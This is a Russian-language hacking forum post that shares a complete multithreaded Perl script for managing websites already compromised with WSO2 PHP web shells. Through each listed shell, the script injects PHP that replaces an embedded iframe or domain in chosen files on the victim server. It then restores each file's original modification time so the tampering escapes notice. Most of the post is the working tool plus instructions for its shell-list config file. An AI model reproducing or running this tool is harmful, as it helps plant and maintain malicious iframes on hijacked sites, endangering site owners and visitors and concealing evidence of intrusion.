Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
WSO2 ifrаmе changer PERL-скрипт Исключительно для WSO2 https://forum.antichat.net/threadnav103155-1-10.html Делал для себя, испытан в боевых условиях, для тех, у кого нет TDS или проблемы с TDS или еще что, в общем оно может: 1. Многопоточный 2. Код шелла никак не трогается - можете работать сразу с вашими 3. Принцип работы - меняет старый фрейм в определенном файле на новый (или любой другой текст, на ваше усмотрение) 4. Поддерживаются как шеллы с паролем, так и без 5. Алгоритм - все делается через один POST запрос (т.е. имитация вашей работы в шелле) через PHP-код - предусмотрено возможностями шелла 6. Timeback(*nix/win) - наконец-то все делается автоматически! Речь идет о времени изменения файла. Т.е. сначала берется текущее время файла (тем самым вы уже избавлены от проверки изменения времени файла после вмешательства в его структуру), вносятся изменения и затем происходит откат времени. 7. Возможность вести логи по каждому файлу на каждом хосте, или отключить их ведения (необходимо в тестовом режиме), скрин лога по одному файлу : "> 8. Возможность выставить кодировку. 9. Файл настроек - сам код + файл shells.txt С кодом все просто, файл shells.txt (пример): localhost|/denwer/wso2.php|root|Z:/denwer/www/denwer/i/|1.txt localhost|/denwer/wso2.php|root|Z:/denwer/www/denwer/i/|2.txt 1) все параметры разделяются с помощью "|" 1-й параметр: - хост, где ваш шелл 2-й параметр: - путь до шелла относительно хоста (всегда начинается с "/") 3-й параметр: - пароль на шелл 4-й параметр: - абсолютный путь до файла с фреймом (в конце обязательно слеш) 5-й параметр: - имя файла 2) новый файл/хост - просто с новой строчки 10. Ну и наконец сам код:
#!/usr/bin/perl - UTF-8 encoding
################################################################################################################
# WSO2 ifrаmе changer by Pashkela [BugTrack Team] © 2010 #
################################################################################################################
use IO::Socket;
use threads;
use threads::shared;
my $num : shared;
################################################################################################################
# Настройки #
################################################################################################################
$shells = 'shells.txt'; # файл с настройками
$kol_threads = 10; # Кол-во потоков
$timeout = 10; # таймаут в секундах
$log = 1; # Вести логи по каждому файлу, 1 = true, 0 = false
$old = '123'; # что меняем
$new = 'some_new'; # на что меняем
$charset = 'UTF-8'; # кодировка
################################################################################################################
open(FILE, "<", $shells);
while(<FILE>) {
chomp;
if($_) {push(@shells, $_)}
}
close(FILE);
$size = @shells;
################################################################################################################
if ($size < 10) {
$thr = $size;
} else {
$thr = $kol_threads;
}
$num = -1; # Не меняется
for(0..$thr) {
$trl[$_] = threads->create(\&gets);
}
for(0..$thr) {
$trl[$_]->join;
}
sub gets {
$| = 1;
while ($num < $size) {
{ lock($num);
$num++; }
($shell_host,$shell_path,$pass,$path_to_frame_file,$file) = split(/\|/,$shells[$num]);
$code = '$time_file=filemtime("'. $path_to_frame_file . $file .'");$content=file_get_contents("' . $path_to_frame_file . $file . '");$content = str_replace("' . $old . '","' . $new . '", $content);file_put_contents("' . $path_to_frame_file . $file . '",$content);touch("' . $path_to_frame_file . $file . '", $time_file);';
frame();
}
print $num . "\r";
}
sub req {
my($host, $path, $type, $data) = @_;
my $sock = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => $timeout);
my $request = "$type $path HTTP/1.1\n".
"Host: $host\n";
$request .= "Content-type: application/x-www-form-urlencoded\n".
"Content-Length: ".length($data)."\n\n".$data;
print $sock $request;
my $answ = undef;
while(my $buf = <$sock>) {
$answ .= $buf;
}
return $answ;
}
sub frame {
$answ2 = req($shell_host, $shell_path, 'POST', "pass=$pass&a=Php&c=$path_to_frame_file&p1=$code&p2=&p3=&charset=$charset");
print "HOST: [" . $shell_host . "]\n";
print "File: [" . $path_to_frame_file . $file . "]...[+]\n";
print "-----------------------------------------------------------------------------------\n";
if ($log == 1) {
open( FILE, ">>" . "z_" . $shell_host . "_" . $file . ".html" ); # Файл для записи результатов
print FILE "==========================================================================\n";
print FILE $answ2;
close (FILE);
}
}
PS: Предварительно настоятельно рекомендуется потестить локально. Замечания, критика и пожелания принимаются. Планету хакерам. PPSS: обычно что? Правильно, меняется только домен, в итоге: $old = 'старый_домен'; # что меняем $new = 'новый_домен'; # на что меняем
|